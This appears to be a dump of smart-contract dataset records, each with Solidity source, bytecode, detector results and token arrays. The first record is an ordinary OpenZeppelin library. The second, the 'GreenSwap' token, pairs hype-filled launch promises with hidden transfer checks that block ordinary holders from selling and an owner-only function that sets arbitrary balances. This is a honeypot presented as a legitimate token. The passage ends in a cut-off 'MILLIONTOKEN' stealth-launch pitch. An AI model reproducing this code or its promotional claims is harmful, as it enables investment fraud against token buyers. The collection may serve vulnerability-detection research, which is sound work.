functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122088cb78f6c6247ad6039716f0d984a18c751f6bb7f87a680a1acbf8839223c25f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 2683, 2581, 16409, 2581, 2475, 2063, 2581, 4402, 24096, 2692, 2094, 2575, 2278, 2629, 2063, 22203, 2509, 2278, 2475, 4783, 2683, 2549, 2497, 17788, 2629, 2050, 2581, 11057, 2546, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 2358, 18589, 9821, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,439
0x96c9fcd45bea05b848e6e8551ad33d4d08194e4b
/* GREENSWAP PROTOCOL V1 Official Launch! We have been so busy the last two weeks developing our Version 2 GreenSwap Protocol with its layer 2 scaling solution (which will utilise Ethereum Mainnet) that we almost forgot to tell you all about our Version 1 GreenSwap DApp !!!! The GreenSwap Version 1 DApp has been fully functional for the past week or more! That’s correct, you can start adding liquidity right now from https://greenswap.exchange and start earning transactional fee rewards! We also have our GRNS token sale that has officially launched, stakers of GRNS Token can earn a whopping 12% APR! You might ask why we haven’t been scrounging around for money and asking our customers to fund our development and that’s actually because we wanted to build our DApp and have it working before we asked you to use it and take part in our ecosystem… It means you can put your GRNS tokens to work immediately because we are ready to rock’n’roll and are open for business. We will thank you in advance and would like to formally welcome you to start buying and selling your tokens on app.GreenSwap.org !! We would love to feature your new game changing project and be your one stop swap, stake, market creation decentralised space! Our layer 2 scaling solution, AKA GREENSWAP Protocol V2 is in heavy development currently and will be ready within the next 14–21 days!!! That means that you need to get ready for super fast / super cheap swapping!!! It’s not a mirage, we don’t want you to fund it, just come and join us and use it!! Be sure to check out our bug bounty and take part in it if you find anything wrong with our code! Welcome to GreenSwap! Let’s make 2021 about everything decentralised and kick COVID to another galaxy! GreenSwap Protocol proudly present GRNSstarter Incubator & IDO Launchpad on Ethereum Blocks GreenSwap Protocol crew proudly announce GRNSstarter Incubator & IDO Launchpad V1 on BSC (Binance Smart Chain) , our V2 will be powered by Ethereum Mainnet. Post Ethereum Mainnet integration, both iterations will function side by side to support BSC and DOT projects respectively. The GreenSwap / GRNSstarter Dev team are currently working frantically coding and preparing to stand up an all new feature rich launchpad to assist in nurturing Start-ups and New Projects through fundraising stages all the way through to market. The GRNSstarter vision is to assist everyday retail investors and contributors the chance to get in on the ground floor in projects that may otherwise be quickly snapped up by Venture Capital firms. We believe that everyone has an equal right to sharing the love. What can you expect from GRNSstarter? GRNSstarter is a vessel which allows for start-ups projects the ability to raise funds via LP’s. It also leverages off the GreenSwap audience to keep on supporting this projects through to Market Creation. The project onboarding workflow will be automated in future iterations to allow for GRNS Token holders to play an important role in fielding the right projects to launch on the GRNSstarter Launchpad. We believe that this unique feature is a real key difference that sets us apart from other launchpads out there in the Crypto-sphere. At GRNSstarter, we will offer an onboarding experience like no other for projects and assist in the nurturing stages of their listing and continue to offer that support mechanism through to market creation on GreenSwap. What’s in it for GRNS Token holders? GRNS Token holders will not only be able to take a role in the governance of GreenSwap DEX, but also play an integral part of fielding ONLY THE BEST projects onto the GRNSstarter Launchpad. How to contribute to Projects that are launching on GRNSstarter… Every Project will feature an allocation and will launch over two Sales Stages. To participate in the launchpad sales stages, contributors must hold a minimum of 1000 GRNS Tokens to be whitelisted. Our model ensures that anyone who whitelists in the specified time *launch window* will receive a token allocation on GRNSstarter. How does an individual join a GRNSstarter Launch Pad Event? Firstly it is a requirement that prospective contributors hold GRNS Tokens. Another value add of holding GRNS Tokens is that holders/stokers appreciate a solid 12% APY staking reward that is paid monthly. GRNSstarter Tier Levels are influenced by SpaceX Launch Vehicle Names Each Fundraising Event will feature Two Sales Stages The first sales stage, dubbed the “Initial Allocation Stage” will run for 24 hours and contributors must purchase the token allocation based on their tier level during this window. The second sales stage, dubbed the “Final Stage” will offer any unsold tokens from the first stage and run until sold out. Tier levels will be able to purchase an additional allocation based on their tier levels criteria. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract GreenSwap { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820f81491e2fdc12bb3f9b88479f490f69e2efea53369723573aedca041ea34db1764736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 2683, 11329, 2094, 19961, 4783, 2050, 2692, 2629, 2497, 2620, 18139, 2063, 2575, 2063, 27531, 22203, 4215, 22394, 2094, 2549, 2094, 2692, 2620, 16147, 2549, 2063, 2549, 2497, 1013, 1008, 15505, 4213, 2361, 8778, 1058, 2487, 2880, 4888, 999, 2057, 2031, 2042, 2061, 5697, 1996, 2197, 2048, 3134, 4975, 2256, 2544, 1016, 15505, 4213, 2361, 8778, 2007, 2049, 6741, 1016, 25169, 5576, 1006, 2029, 2097, 21183, 24411, 2063, 28855, 14820, 2364, 7159, 1007, 2008, 2057, 2471, 9471, 2000, 2425, 2017, 2035, 2055, 2256, 2544, 1015, 15505, 4213, 2361, 4830, 9397, 999, 999, 999, 999, 1996, 15505, 4213, 2361, 2544, 1015, 4830, 9397, 2038, 2042, 3929, 8360, 2005, 1996, 2627, 2733, 2030, 2062, 999, 2008, 1521, 1055, 6149, 1010, 2017, 2064, 2707, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,440
0x96ca0ca9a7f7ee50309d3992551c5d5472dbde00
/* _____¶¶¶¶_¶¶¶ ___¶¶¶__¶¶_¶¶¶¶¶ __¶¶¶¶_________¶¶¶¶¶ __¶¶¶¶¶¶_¶¶¶_______¶¶¶ ____¶_¶¶¶¶¶_¶__¶¶¶¶__¶ ____¶_O_¶¶¶_¶__¶¶¶¶¶¶¶ __¶¶__¶_¶_¶_¶¶__¶¶¶¶_¶ ¶¶¶__¶¶_¶¶¶___¶¶__¶¶¶_¶¶ ¶¶_¶¶__¶______¶¶__¶¶_¶¶¶ ¶¶¶__¶¶¶¶_¶¶¶_¶¶__¶___¶¶ __¶¶¶¶__¶¶__¶¶¶¶_¶¶____¶¶ __¶___¶¶¶___¶¶__________¶¶¶ ___¶¶¶¶_¶__¶¶_______¶¶¶___¶¶ ____¶¶__¶_¶¶______¶¶¶¶¶¶¶__¶¶ ___¶¶___¶¶¶______¶¶____¶¶___¶¶ __¶¶___¶¶_______¶¶______¶¶__¶¶ __¶___¶¶________¶________¶__¶¶ __¶___¶________¶¶________¶_¶¶ __¶____________¶_______¶¶_¶¶ __¶¶__________¶¶_______¶¶_¶ ___¶¶_______¶¶¶________¶¶_¶¶ ___¶¶¶__¶__¶¶¶_________¶¶__¶¶¶ ____¶¶¶¶¶¶¶__¶_________¶¶____¶¶¶ ____¶¶_¶¶¶_¶_¶¶_________¶______¶¶¶ ____¶¶¶_¶_¶_¶¶_¶¶_______¶¶_______¶¶ ____¶¶_¶¶______¶¶¶_______¶________¶¶ ____¶¶_¶¶¶_____¶________¶¶_¶¶______¶ ____¶¶___¶¶¶___¶_______¶¶___¶______¶¶ _____¶____¶¶¶¶_¶______¶¶____¶¶______¶ _____¶¶______¶¶¶_____¶¶___¶¶¶¶______¶_¶¶¶¶¶¶ ______¶¶_____¶¶¶____¶¶_¶¶¶¶¶¶¶______¶_¶¶¶___¶ _______¶_____¶¶_____¶¶¶__¶¶_¶¶______¶¶_¶¶¶¶__¶ _______¶¶____¶¶____¶__¶___¶_¶_______¶¶____¶¶¶¶¶ ________¶____¶____¶¶¶_¶¶__¶__¶_____¶_¶¶______¶¶ ________¶¶___¶¶___¶¶¶¶_¶¶¶_¶__¶¶____¶_¶______¶¶ ________¶¶____¶¶_____¶_¶_¶__¶__¶¶____¶_¶____¶¶¶ _________¶_____¶¶_____¶¶_¶___¶___¶¶__¶¶¶¶¶¶¶¶¶ ____¶¶¶¶¶¶¶__¶_¶_¶¶¶¶¶__¶___¶_____¶__¶¶_¶¶¶¶ ___¶¶_¶_¶__¶__¶¶___¶¶_¶¶___¶______¶___¶ ¶¶¶¶¶¶¶¶¶_¶¶¶_¶___¶¶_¶_¶¶¶¶¶______¶_¶__¶ _________¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶_____¶¶¶_¶¶_¶¶ ________________________¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶_¶ 🚀 Lion In Every Million 🚀 🔥MILLIONTOKEN🚀 🚀 🚀 🚀 🚀 🚀 🚀 🔥Stealth LAUNCH on UNISWAP 🔥7 ETH LIQ LAUNCH 1,000,000 Fixed Total Supply MILLIONTOKEN Presenting you $MILLIONTOKEN$ 🚀 The Token For the Decentralized COMMUNITY No Dev Tokens 🚀 🔥 🔥 -SLIPPAGE 12%+ 🔥 🔥 ◼️Token Name : MILLIONTOKEN ◼️Token Symbol : MILLIONTOKEN ◼️Total supply : 1,000,000💫 ◼️Initial BURN : 300,000, 🔥 ◼️Tokens listing : 700,000 😎🚀 ◼️12% Tax on each transactoin -4% Burned 4% LIQUIDIT 4% To Vitalik's Wallet ◼️LP tokens will be burned forvever ◼️Ownership Renounced soon after launch ◼️Anti-Bot : Bots gets Blacklisted automatically(Increasing LIQUIDITY IN POOL) 🔥FAIRLAUNCH ON 